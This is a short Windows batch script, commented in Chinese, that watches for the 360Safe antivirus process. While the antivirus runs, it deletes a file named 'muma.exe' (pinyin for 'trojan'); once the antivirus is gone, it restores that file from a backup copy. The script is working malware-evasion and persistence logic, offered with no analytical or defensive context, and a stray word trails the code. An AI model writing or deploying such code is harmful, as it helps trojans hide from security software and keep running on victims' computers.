@echo off
:star
Rem 10秒鐘檢查一次
ping 127.1 -n 10 >nul 2>nul
Rem 進程中查找是否有360Safe.exe進程
tasklist|findstr /i "360Safe.exe"
Rem 若是沒有360Safe.exe進程繼續跳轉到star處繼續監控,若是有360Safe.exe則跳轉到del處刪除
if errorlevel 1 (goto star) else (goto del)
Rem 刪除自啓動
:del
del "C:\Program Files\muma.exe"
Rem 繼續監控360Safe.exe進程
:findagain
ping 127.1 -n 20 >nul 2>nul
tasklist|findstr /i "360Safe.exe"
Rem 若是360Safe.exe不在了,則跳到not處複製啓動項回來,若是還在繼續跳到findagain繼續查找
if errorlevel 1 (goto not) else (goto findagain)
:not
copy /n "C:\Program Files\beifen.exe" "C:\Program Files\muma.exe"
goto star
ide